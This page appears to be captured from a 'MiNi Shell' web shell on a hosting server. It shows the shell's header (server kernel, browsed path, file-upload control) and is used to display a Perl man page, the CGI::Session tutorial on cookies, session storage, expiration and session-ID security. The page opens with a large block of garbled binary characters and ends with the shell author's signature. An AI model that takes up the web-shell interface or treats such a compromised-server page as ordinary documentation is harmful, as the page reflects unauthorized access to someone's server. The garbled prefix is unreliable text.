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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5006.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/CGI::Session::Tutorial.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "CGI::Session::Tutorial 3"
.TH CGI::Session::Tutorial 3 "2006-11-24" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
CGI::Session::Tutorial \- Extended CGI::Session manual
.SH "STATE MAINTENANCE OVERVIEW"
.IX Header "STATE MAINTENANCE OVERVIEW"
Since \s-1HTTP\s0 is a stateless protocol, each subsequent click to a web site is treated as new request by the Web server. The server does not relate a visit with a previous one, thus all the state information from the previous requests are lost. This makes creating such applications as shopping carts, web sites requiring users to authenticate, impossible. So people had to do something about this despair situation \s-1HTTP\s0 was putting us in.
.PP
For our rescue come such technologies as \fI\s-1HTTP\s0 Cookies\fR and \fI\s-1QUERY_STRING\s0\fRs that help us save the users' session for a certain period. Since \fI\s-1HTTP\s0 Cookies\fR and \fI\s-1QUERY_STRING\s0\fRs alone cannot take us too far (\fB\s-1RFC\s0 2965, Section 5, \*(L"Implementation Limitations\*(R"\fR), several other libraries have been developed to extend their capabilities and promise a more reliable solution. CGI::Session is one of them.
.PP
Before we discuss this library, let's look at some alternative solutions.
.Sh "\s-1COOKIE\s0"
.IX Subsection "COOKIE"
Cookie is a piece of text-information that a web server is entitled to place in the user's hard disk, assuming a user agent (such as Internet Explorer, Mozilla, etc) is compatible with the specification. After the cookie is placed, user agents are required to send these cookies back to the server as part of the \s-1HTTP\s0 request. This way the server application ( \s-1CGI\s0, for example ) will have a way of relating previous requests by the same user agent, thus overcoming statelessness of \s-1HTTP\s0.
.PP
Although \fI\s-1HTTP\s0 Cookies\fR seem to be promising solution for the statelessness of \s-1HTTP\s0, they do carry certain limitations, such as limited number of cookies per domain and per user agent and limited size on each cookie. User Agents are required to store at least 300 cookies at a time, 20 cookies per domain and allow 4096 bytes of storage for each cookie. They also rise several Privacy and Security concerns, the lists of which can be found on the sections \fB6\-\*(L"Privacy\*(R"\fR  and \fB7\-\*(L"Security Considerations\*(R"\fR of \fB\s-1RFC\s0 2965\fR.
.Sh "\s-1QUERY\s0 \s-1STRING\s0"
.IX Subsection "QUERY STRING"
Query string is a string appended to \s-1URL\s0 following a question mark (?) such as:
.PP
.Vb 1
\&    http://my.dot.com/login.cgi?user=sherzodr;password=top-secret
.Ve
.PP
As you probably guessed, it can also help you pass state information from a click to another, but how secure is it do you think, considering these URLs tend to get cached by most of the user agents and also logged in the servers access log, to which everyone can have access.
.Sh "\s-1HIDDEN\s0 \s-1FIELDS\s0"
.IX Subsection "HIDDEN FIELDS"
Hidden field is another alternative to using query strings and they come in two flavors: hidden fields used in \s-1POST\s0 methods and the ones in \s-1GET\s0. The ones used in \s-1GET\s0 methods will turn into a true query strings once submitted, so all the disadvantages of QUERY_STRINGs apply. Although \s-1POST\s0 requests do not have limitations of its sister\-GET, the pages that hold them get cached by Web browser, and are available within the source code of the page (obviously). They also become unwieldily to manage when one has oodles of state information to keep track of ( for instance, a shopping cart or an advanced search engine).
.PP
Query strings and hidden fields are also lost easily by closing the browser, or by clicking the browser's \*(L"Back\*(R" button.
.Sh "\s-1SERVER\s0 \s-1SIDE\s0 \s-1SESSION\s0 \s-1MANAGEMENT\s0"
.IX Subsection "SERVER SIDE SESSION MANAGEMENT"
This technique is built upon the aforementioned technologies plus a server-side storage device, which saves the state data on the server side. Each session has a unique id associated with the data in the server. This id is also associated with the user agent either in the form of a \fI\s-1HTTP\s0 Cookie\fR, a \fI\s-1QUERY_STRING\s0\fR, hidden field or any combination of the above. This is necessary to make the connection with the client and his data.
.PP
Advantages:
.IP "\(bu" 4
We no longer need to depend on User Agent constraints in cookie size.
.IP "\(bu" 4
Sensitive data no longer need to be traveling across the network at each request (which is the case with query strings, cookies and hidden fields). The only thing that travels is the unique id generated for the session (\fB5767393932698093d0b75ef614376314\fR, for instance), which should make no sense to third parties.
.IP "\(bu" 4
User will not have sensitive data stored in his/her computer in unsecured file (which is a cookie file).
.IP "\(bu" 4
It's possible to handle very big and even complex data structures transparently (which \fI\s-1HTTP\s0 Cookies\fR do not handle).
.PP
That's what CGI::Session is all about \- implementing server side session management. Now is a good time to get feet wet.
.SH "PROGRAMMING STYLE"
.IX Header "PROGRAMMING STYLE"
Server side session management system might be seeming awfully convoluted if you have never dealt with it. Fortunately, with CGI::Session all the complexity is handled by the library transparently. This section of the manual can be treated as an introductory tutorial to  both logic behind session management, and to CGI::Session programming style.
.PP
All applications making use of server side session management rely on the following pattern of operation regardless of the way the system is implemented:
.IP "1" 4
.IX Item "1"
Check if the user has session cookie dropped in his computer from previous request
.IP "2" 4
.IX Item "2"
If the cookie does not exist, create a new session identifier, and drop it as cookie to the user's computer.
.IP "3" 4
.IX Item "3"
If session cookie exists, read the session \s-1ID\s0 from the cookie and load any previously saved session data from the server side storage. If session had any expiration date set it's useful to re-drop the same cookie to the user's computer so its expiration time will be reset to be relative to user's last activity time.
.IP "4" 4
.IX Item "4"
Store any necessary data in the session that you want to make available for the next \s-1HTTP\s0 request.
.PP
CGI::Session will handle all of the above steps. All you have to do is to choose what to store in the session.
.Sh "\s-1GETTING\s0 \s-1STARTED\s0"
.IX Subsection "GETTING STARTED"
To make CGI::Session's functionality available in your program do either of the following somewhere on top of your program file:
.PP
.Vb 3
\&    use CGI::Session;
\&    # or
\&    require CGI::Session;
.Ve
.PP
Whenever you're ready to create a new session in your application, do the following:
.PP
.Vb 1
\&    $session = new CGI::Session() or die CGI::Session->errstr;
.Ve
.PP
Above line will first try to re-initialize an existing session by consulting cookies and necessary \s-1QUERY_STRING\s0 parameters. If it fails will create a brand new session with a unique \s-1ID\s0, which is normally called \fIsession \s-1ID\s0\fR, \fI\s-1SID\s0\fR for short, and can be accessed through \fIid()\fR \- object method.
.PP
We didn't check for any session cookies above, did we? No, we didn't, but CGI::Session did. It looked for a cookie called \f(CW\*(C`CGISESSID\*(C'\fR, and if it found it tried to load existing session from server side storage (\fBfile\fR in our case). If cookie didn't exist it looked for a \s-1QUERY_STRING\s0 parameter called \f(CW\*(C`CGISESSID\*(C'\fR. If all the attempts to recover session \s-1ID\s0 failed, it created a new session.
.PP
\&\s-1NOTE:\s0 For the above syntax to work as intended your application needs to have write access to your computer's \fI\s-1TEMPDIR\s0\fR folder, which is usually \fI/tmp\fR in \s-1UNIX\s0. If it doesn't, or if you wish to store this application's session files in a different place, you may pass the third argument like so:
.PP
.Vb 1
\&    $session = new CGI::Session(undef, undef, {Directory=>'../tmp/sessions'});
.Ve
.PP
Now it will store all the newly created sessions in (and will attempt to initialize requested sessions from) that folder. Don't worry if the directory hierarchy you want to use doesn't already exist. It will be created for you. For details on how session data are stored refer to CGI::Session::Driver::file, which is the default driver used in our above example.
.PP
There is one small, but very important thing your application needs to perform after creating CGI::Session object as above. It needs to drop Session \s-1ID\s0 as an \fI\s-1HTTP\s0 cookie\fR into the user's computer. CGI::Session will use this cookie to identify the user at his/her next request and will be able to load his/her previously stored session data.
.PP
To make sure CGI::Session will be able to read your cookie at next request you need to consult its \f(CW\*(C`name()\*(C'\fR method for cookie's suggested name:
.PP
.Vb 3
\&    $cookie = $query->cookie( -name   => $session->name,
\&                              -value  => $session->id );
\&    print $query->header( -cookie=>$cookie );
.Ve
.PP
\&\f(CW\*(C`name()\*(C'\fR returns \f(CW\*(C`CGISESSID\*(C'\fR by default. If you prefer a different cookie name, you can change it as easily too, but you have to do it before CGI::Session object is created:
.PP
.Vb 2
\&    CGI::Session->name("SID");
\&    $session = new CGI::Session();
.Ve
.PP
Baking the cookie wasn't too difficult, was it? But there is an even easier way to send a cookie using CGI::Session:
.PP
.Vb 1
\&    print $session->header();
.Ve
.PP
The above will create the cookie using CGI::Cookie and will return proper http headers using \s-1CGI\s0.pm's \s-1CGI\s0 method. Any arguments to CGI::Session will be passed to \fICGI::header()\fR.
.PP
Of course, this method of initialization will only work if client is accepting cookies. If not you would have to pass session \s-1ID\s0 in each \s-1URL\s0 of your application as \s-1QUERY_STRING\s0. For CGI::Session to detect it the name of the parameter should be the same as returned by \fIname()\fR:
.PP
.Vb 1
\&    printf ("<a href=\e"$ENV{SCRIPT_NAME}?%s=%s\e">click me</a>", $session->name, $session->id);
.Ve
.PP
If you already have session id to be initialized you may pass it as the only argument, or the second argument of multi-argument syntax:
.PP
.Vb 3
\&    $session = new CGI::Session( $sid );
\&    $session = new CGI::Session( "serializer:freezethaw", $sid );
\&    $session = new CGI::Session( "driver:mysql", $sid, {Handle=>$dbh} );
.Ve
.PP
By default CGI::Session uses standard \s-1CGI\s0 to parse queries and cookies. If you prefer to use a different, but compatible object you can pass that object in place of \f(CW$sid:\fR
.PP
.Vb 4
\&    $cgi     = new CGI::Simple();
\&    $session = new CGI::Session ( $cgi );
\&    $session = new CGI::Session( "driver:db_file;serializer:storable", $cgi);
\&    # etc
.Ve
.PP
See CGI::Simple
.Sh "\s-1STORING\s0 \s-1DATA\s0"
.IX Subsection "STORING DATA"
CGI::Session offers \fIparam()\fR method, which behaves exactly as \s-1CGI\s0.pm's \fIparam()\fR with identical syntax. \fIparam()\fR is used for storing data in session as well as for accessing already stored data.
.PP
Imagine your customer submitted a login form on your Web site. You, as a good host, wanted to remember the guest's name, so you can a) greet him accordingly when he visits your site again, or b) to be helpful by filling out \fIuser name\fR part of his login form, so the customer can jump right to the \fIpassword\fR field without having to type his username again.
.PP
.Vb 2
\&    my $name = $cgi->param('username');
\&    $session->param('username', $name);
.Ve
.PP
Notice, we're grabbing \fIusername\fR value of the field using \s-1CGI\s0.pm's (or another compatible library's) \f(CW\*(C`param()\*(C'\fR method, and storing it in session using CGI::Session's \fIparam()\fR method.
.PP
If you have too many stuff to transfer into session, you may find yourself typing the above code over and over again. I've done it, and believe me, it gets very boring too soon, and is also error\-prone. So we introduced the following handy method:
.PP
.Vb 1
\&    $session->save_param(['name']);
.Ve
.PP
If you wanted to store multiple form fields just include them all in the second list:
.PP
.Vb 1
\&    $session->save_param(['name', 'email']);
.Ve
.PP
If you want to store all the available \fI\s-1QUERY_STRING\s0\fR parameters you can omit the arguments:
.PP
.Vb 1
\&    $session->save_param();
.Ve
.PP
See \fIsave_param()\fR for more details.
.PP
When storing data in the session you're not limited to strings. You can store arrays, hashes and even most objects. You will need to pass them as references (except objects).
.PP
For example, to get all the selected values of a scrolling list and store it in the session:
.PP
.Vb 2
\&    my @fruits = $cgi->param('fruits');
\&    $session->param('fruits', \e@fruits);
.Ve
.PP
For parameters with multiple values \fIsave_param()\fR will do the right thing too. So the above is the same as:
.PP
.Vb 1
\&    $session->save_param($cgi, ['fruits']);
.Ve
.PP
All the updates to the session data using above methods will not reflect in the data store until your application exits, or \f(CW$session\fR goes out of scope. If, for some reason, you need to commit the changes to the data store before your application exits you need to call \fIflush()\fR method:
.PP
.Vb 1
\&    $session->flush();
.Ve
.PP
I've written a lot of code, and never felt need for using \f(CW\*(C`flush()\*(C'\fR method, since CGI::Session calls this method at the end of each request. There are, however, occasions I can think of one may need to call \fIflush()\fR.
.Sh "\s-1ACCESSING\s0 \s-1STORED\s0 \s-1DATA\s0"
.IX Subsection "ACCESSING STORED DATA"
There's no point of storing data if you cannot access it. You can access stored session data by using the same \fIparam()\fR method you once used to store them. Remember the Username field from the previous section that we stored in the session? Let's read it back so we can partially fill the Login form for the user:
.PP
.Vb 2
\&    $name = $session->param("name");
\&    printf "<input type=\e"text\e" name=\e"name\e" value=\e"%s\e" />", $name;
.Ve
.PP
To retrieve previously stored \f(CW@fruits\fR do not forget to de reference it:
.PP
.Vb 1
\&    @fruits = @{ $session->param('fruits') };
.Ve
.PP
Very frequently, you may find yourself having to create pre-filled and pre-selected forms, like radio buttons, checkboxes and drop down menus according to the user's preferences or previous action. With text and textareas it's not a big deal \- you can simply retrieve a single parameter from the session and hard code the value into the text field. But how would you do it when you have a group of radio buttons, checkboxes and scrolling lists? For this purpose, CGI::Session provides \fIload_param()\fR method, which loads given session parameters to a \s-1CGI\s0 object (assuming they have been previously saved with \fIsave_param()\fR or alternative):
.PP
.Vb 1
\&    $session->load_param($cgi, ["fruits"]);
.Ve
.PP
Now when you say:
.PP
.Vb 1
\&    print $cgi->checkbox_group(fruits=>['apple', 'banana', 'apricot']);
.Ve
.PP
See \fIload_param()\fR for details.
.PP
Generated checkboxes will be pre-filled using previously saved information. To see example of a real session-powered application consider http://handalak.com/cgi\-bin/subscriptions.cgi
.PP
If you're making use of HTML::Template to separate the code from the skin, you can as well associate CGI::Session object with HTML::Template and access all the parameters from within \s-1HTML\s0 files. We love this trick!
.PP
.Vb 2
\&    $template = new HTML::Template(filename=>"some.tmpl", associate=>$session);
\&    print $template->output();
.Ve
.PP
Assuming the session object stored \*(L"first_name\*(R" and \*(L"email\*(R" parameters while being associated with HTML::Template, you can access those values from within your \*(L"some.tmpl\*(R" file now:
.PP
.Vb 1
\&    Hello <a href="mailto:<TMPL_VAR email>"> <TMPL_VAR first_name> </a>!
.Ve
.PP
See HTML::Template's online manual for details.
.Sh "\s-1CLEARING\s0 \s-1SESSION\s0 \s-1DATA\s0"
.IX Subsection "CLEARING SESSION DATA"
You store session data, you access session data and at some point you will want to clear certain session data, if not all. For this purpose CGI::Session provides \fIclear()\fR method which optionally takes one argument as an arrayref indicating which session parameters should be deleted from the session object:
.PP
.Vb 1
\&    $session->clear(["~logged-in", "email"]);
.Ve
.PP
Above line deletes \*(L"~logged\-in\*(R" and \*(L"email\*(R" session parameters from the session. And next time you say:
.PP
.Vb 1
\&    $email = $session->param("email");
.Ve
.PP
it returns undef. If you omit the argument to \fIclear()\fR, be warned that all the session parameters you ever stored in the session object will get deleted. Note that it does not delete the session itself. Session stays open and accessible. It's just the parameters you stored in it gets deleted
.PP
See \fIclear()\fR for details.
.Sh "\s-1DELETING\s0 A \s-1SESSION\s0"
.IX Subsection "DELETING A SESSION"
If there's a start there's an end. If session could be created, it should be possible to delete it from the disk for good:
.PP
.Vb 1
\&    $session->delete();
.Ve
.PP
The above call to \fIdelete()\fR deletes the session from the disk for good. Do not confuse it with \fIclear()\fR, which only clears certain session parameters but keeps the session open.
.PP
See \fIdelete()\fR for details.
.Sh "\s-1EXPIRATION\s0"
.IX Subsection "EXPIRATION"
CGI::Session provides limited means to expire sessions. Expiring a session is the same as deleting it via \fIdelete()\fR, but deletion takes place automatically. To expire a session, you need to tell the library how long the session would be valid after the last access time. When that time is met, CGI::Session refuses to retrieve the session. It deletes the session and returns a brand new one. To assign expiration ticker for a session, use \fIexpire()\fR:
.PP
.Vb 4
\&    $session->expire(3600);     # expire after 3600 seconds
\&    $session->expire('+1h');    # expire after 1 hour
\&    $session->expire('+15m');   # expire after 15 minutes
\&    $session->expire('+1M');    # expire after a month and so on.
.Ve
.PP
When session is set to expire at some time in the future, but session was not requested at or after that time has passed it will remain in the disk. When expired session is requested CGI::Session will remove the data from disk, and will initialize a brand new session.
.PP
See \fIexpire()\fR for details.
.PP
Before CGI::Session 4.x there was no way of intercepting requests to expired sessions. CGI::Session 4.x introduced new kind of constructor, \fIload()\fR, which is identical in use to \fInew()\fR, but is not allowed to create sessions. It can only load them. If session is found to be expired, or session does not exist it will return an empty CGI::Session object. And if session is expired, in addition to being empty, its status will also be set to expired. You can check against these conditions using \fIempty()\fR and \fIis_expired()\fR methods. If session was loaded successfully object returned by \f(CW\*(C`load()\*(C'\fR is as good a session as the one returned by \f(CW\*(C`new()\*(C'\fR:
.PP
.Vb 7
\&    $session = CGI::Session->load() or die CGI::Session->errstr;
\&    if ( $session->is_expired ) {
\&        die "Your session expired. Please refresh your browser to re-start your session";
\&    }
\&    if ( $session->is_empty ) {
\&        $session = $session->new();
\&    }
.Ve
.PP
Above example is worth an attention. Remember, all expired sessions are empty sessions, but not all empty sessions are expired sessions. Following this rule we have to check with \f(CW\*(C`is_expired()\*(C'\fR before checking with \f(CW\*(C`is_empty()\*(C'\fR. There is another thing about the above example. Notice how its creating new session when un existing session was requested? By calling \f(CW\*(C`new()\*(C'\fR as an object method! Handy thing about that is, when you call \f(CW\*(C`new()\*(C'\fR on a session object new object will be created using the same configuration as the previous object.
.PP
For example:
.PP
.Vb 7
\&    $session = CGI::Session->load("driver:mysql;serializer:storable", undef, {Handle=>$dbh});
\&    if ( $session->is_expired ) {
\&        die "Your session is expired. Please refresh your browser to re-start your session";
\&    }
\&    if ( $session->is_empty ) {
\&        $session = $session->new();
\&    }
.Ve
.PP
Initial \f(CW$session\fR object was configured with \fBmysql\fR as the driver, \fBstorable\fR as the serializer and \fB$dbh\fR as the database handle. Calling \f(CW\*(C` new() \*(C'\fR on this object will return an object of the same configuration. So \f(CW $session \fR object returned from \f(CW\*(C` new() \*(C'\fR in the above example will use \fBmysql\fR as the driver, \fBstorable\fR as the serializer and \fB$dbh\fR as the database handle.
.PP
See \fIis_expired()\fR, \fIis_empty()\fR, \fIload()\fR for details.
.PP
Sometimes it makes perfect sense to expire a certain session parameter, instead of the whole session. I usually do this in my login enabled sites, where after the user logs in successfully, I set his/her \*(L"_logged_in\*(R" session parameter to true, and assign an expiration ticker on that flag to something like 30 minutes. It means, after 30 idle minutes CGI::Session will clear \*(L"_logged_in\*(R" flag, indicating the user should log in over again. I agree, the same effect can be achieved by simply \fIexpiring()\fR the session itself, but by doing this we would loose other session parameters, such as user's shopping cart, session-preferences and the like.
.PP
This feature can also be used to simulate layered authentication, such as, you can keep the user's access to his/her personal profile information for as long as 60 minutes after a successful login, but expire his/her access to his credit card information after 5 idle minutes. To achieve this effect, we will use \fIexpire()\fR method again:
.PP
.Vb 2
\&    $session->expire(_profile_access, '1h');
\&    $session->expire(_cc_access, '5m');
.Ve
.PP
With the above syntax, the person will still have access to his personal information even after 5 idle hours. But when he tries to access or update his/her credit card information, he may be displayed a \*(L"login again, please\*(R" screen.
.PP
See \fIexpire()\fR for details.
.PP
This concludes our discussion of CGI::Session programming style. The rest of the manual covers some \*(L"\s-1SECURITY\s0\*(R" issues. Driver specs from the previous manual were moved to CGI::Session::Driver.
.SH "SECURITY"
.IX Header "SECURITY"
\&\*(L"How secure is using CGI::Session?\*(R", \*(L"Can others hack down people's sessions using another browser if they can get the session id of the user?\*(R", \*(L"Are the session ids easy to guess?\*(R" are the questions I find myself answering over and over again.
.Sh "\s-1STORAGE\s0"
.IX Subsection "STORAGE"
Security of the library does in many aspects depend on the implementation. After making use of this library, you no longer have to send all the information to the user's cookie except for the session id. But, you still have to store the data in the server side. So another set of questions arise, can an evil person get access to session data in your server, even if he does, can he make sense out of the data in the session file, and even if he can, can he reuse the information against a person who created that session. As you see, the answer depends on yourself who is implementing it.
.IP "\(bu" 4
First rule of thumb, do not store users' passwords or other sensitive data in the session, please. If you have to, use one-way encryption, such as md5, or \s-1SHA\-1\-1\s0. For my own experience I can assure you that in properly implemented session-powered Web applications there is never a need for it.
.IP "\(bu" 4
Default configuration of the driver makes use of Data::Dumper class to serialize data to make it possible to save it in the disk. Data::Dumper's result is a human readable data structure, which, if opened, can be interpreted easily. If you configure your session object to use either Storable or FreezeThaw as a serializer, this would make it more difficult for bad guys to make sense out of session data. But don't use this as the only precaution. Since evil fingers can type a quick program using Storable or FreezeThaw to decipher session files very easily.
.IP "\(bu" 4
Do not allow anyone to update contents of session files. If you're using default serializer serialized data string needs to be \fIeval()\fRed to bring the original data structure back to life. Of course, we use Safe to do it safely, but your cautiousness does no harm either.
.IP "\(bu" 4
Do not keep sessions open for very long. This will increase the possibility that some bad guy may have someone's valid session id at a given time (acquired somehow). To do this use \fIexpire()\fR method to set expiration ticker. The more sensitive the information on your Web site is, the sooner the session should be set to expire.
.Sh "\s-1SESSION\s0 IDs"
.IX Subsection "SESSION IDs"
Session ids are not easily guessed (unless you're using incr \s-1ID\s0 generator)! Default configuration of CGI::Session uses Digest::MD5 to generate random, 32 character long identifier. Although this string cannot be guessed as easily by others, if they find it out somehow, can they use this identifier against the other person?
.PP
Consider the scenario, where you just give someone either via email or an instant messaging a link to a Web site where you're currently logged in. The \s-1URL\s0 you give to that person contains a session id as part of a query string. If the site was initializing the session solely using query string parameter, after clicking on that link that person now appears to that site as you, and might have access to all of your private data instantly.
.PP
Even if you're solely using cookies as the session id transporters, it's not that difficult to plant a cookie in the cookie file with the same id and trick the web browser to send that particular session id to the server. So key for security is to check if the person who's asking us to retrieve a session data is indeed the person who initially created the session data.
.PP
One way to help with this is by also checking that the \s-1IP\s0 address that the session is being used from is always same. However, this turns out not to be practical in common cases because some large ISPs (such as \s-1AOL\s0) use proxies which cause each and every request from the same user to come from different \s-1IP\s0 address.
.PP
If you have an application where you are sure your users' IPs are constant during a session, you can consider enabling an option to make this check:
.PP
.Vb 1
\&    use CGI::Session ( '-ip_match' );
.Ve
.PP
For backwards compatibility, you can also achieve this by setting \f(CW$CGI::Session::IP_MATCH\fR to a true value.  This makes sure that before initializing a previously stored session, it checks if the ip address stored in the session matches the ip address of the user asking for that session. In which case the library returns the session, otherwise it dies with a proper error message.
.SH "LICENSING"
.IX Header "LICENSING"
For support and licensing see CGI::Session

Creat By MiNi SheLL
Email: devilkiller@gmail.com